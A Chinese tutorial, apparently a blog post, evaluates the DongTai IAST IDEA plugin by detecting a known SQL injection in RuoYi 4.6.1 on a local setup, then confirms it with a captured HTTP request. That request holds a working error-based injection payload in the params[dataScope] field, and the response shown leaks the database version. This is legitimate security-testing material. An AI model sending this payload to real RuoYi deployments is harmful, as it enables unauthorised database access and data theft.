一、背景
因为看到 Xcheck 发的自动检测到开源项目 RuoYi 的 sql 注入漏洞,因此打算用该漏洞验证一下洞态 IAST 的漏洞检测能力。洞态 IAST 的检测方式是扫描运行中的应用程序,将扫描到的漏洞信息发送到云端进行处理、展示。
二、验证方式
本次验证选择在本地 IDEA 运行 Xcheck 测试的 RuoYi 版本(4.6.1),使用洞态 IAST 的 IDEA 插件对其进行快速检测。
三、本地环境搭建
- 克隆 RuoYi 源码
$ git clone https://github.com/yangzongzhuan/RuoYi.git
注:RuoYi 新版本已修复漏洞,需要将项目版本改为4.6.1,或者直接下载 RuoYi-4.6.1的源码包。
RuoYi-4.6.1源码下载:https://github.com/yangzongzhuan/RuoYi/archive/refs/tags/v4.6.1.zip
使用 IDEA 打开项目
修改ruoyi-admin模块下的application-druid.yml中的数据库信息,将username和password改为本地数据库

创建数据库ry,导入项目sql文件夹下的.sql文件
mysql -utest -p1234 -e "CREATE DATABASE ry DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;"
mysql -utest -p1234 ry<quartz.sql
mysql -utest -p1234 ry<ry_20210210.sql
四、IDEA插件的下载与安装
下载 DongTai IAST 插件 下载地址:DongTai-Plugin-IDEA.zip
安装
打开 IDEA preferences 界面的 Plugins,选择从本地下载,导入下载好的插件DongTai-Plugin-IDEA.zip。

五、运行项目
1.使用插件功能“Run With IAST”或者“Debug With IAST”启动项目



六、漏洞检测

2. 查看“漏洞列表”面板
- 访问项目功能后,打开“漏洞列表”面板,查看已检测到的漏洞的概要信息



七、漏洞验证
使用Burp Suite进行抓包,进行报错注入获取到数据库的版本号。
POST /system/role/list HTTP/1.1
Host: localhost
Content-Length: 214
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=142a87a0-faef-479c-a158-67de9d8b14aa
Connection: close
pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&roleName=&roleKey=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=¶ms%5BdataScope%5D=and extractvalue(rand(),+concat(0x3a,substring(version(),1,30)))=1
通过注入获取到了数据库的版本号,漏洞验证成功。
HTTP/1.1 200
Content-Type: application/json
Date: Mon, 12 Jul 2021 06:34:54 GMT
Connection: close
Content-Length: 1101
{"msg":"运行时异常:\n### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: ':8.0.25'\n### The error may exist in URL [jar:file:/Users/erzhuangniu/workspace/bugenv/docker/ruoyi-admin.jar!/BOOT-INF/lib/ruoyi-system-4.6.1.jar!/mapper/system/SysRoleMapper.xml]\n### The error may involve com.ruoyi.system.mapper.SysRoleMapper.selectRoleList-Inline\n### The error occurred while setting parameters\n### SQL: SELECT count(0) FROM (SELECT DISTINCT r.role_id, r.role_name, r.role_key, r.role_sort, r.data_scope, r.status, r.del_flag, r.create_time, r.remark FROM sys_role r LEFT JOIN sys_user_role ur ON ur.role_id = r.role_id LEFT JOIN sys_user u ON u.user_id = ur.user_id LEFT JOIN sys_dept d ON u.dept_id = d.dept_id WHERE r.del_flag = '0' AND extractvalue(rand(), concat(0x3a, substring(version(), 1, 30))) = 1) table_count\n### Cause: java.sql.SQLException: XPATH syntax error: ':8.0.25'\n; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: ':8.0.25'; nested exception is java.sql.SQLException: XPATH syntax error: ':8.0.25'","code":500}

八、总结
通过本次测试发现洞态IAST在漏洞检出上效果很好,而且多次测试还检测出了RuoYi的其他漏洞,经过漏洞验证均为真实漏洞,而洞态IAST的IDEA插件又降低了检测漏洞的门槛,只需在IDEA中运行项目即可进行检测漏洞,十分方便,推荐大家尝试、使用。
九、参考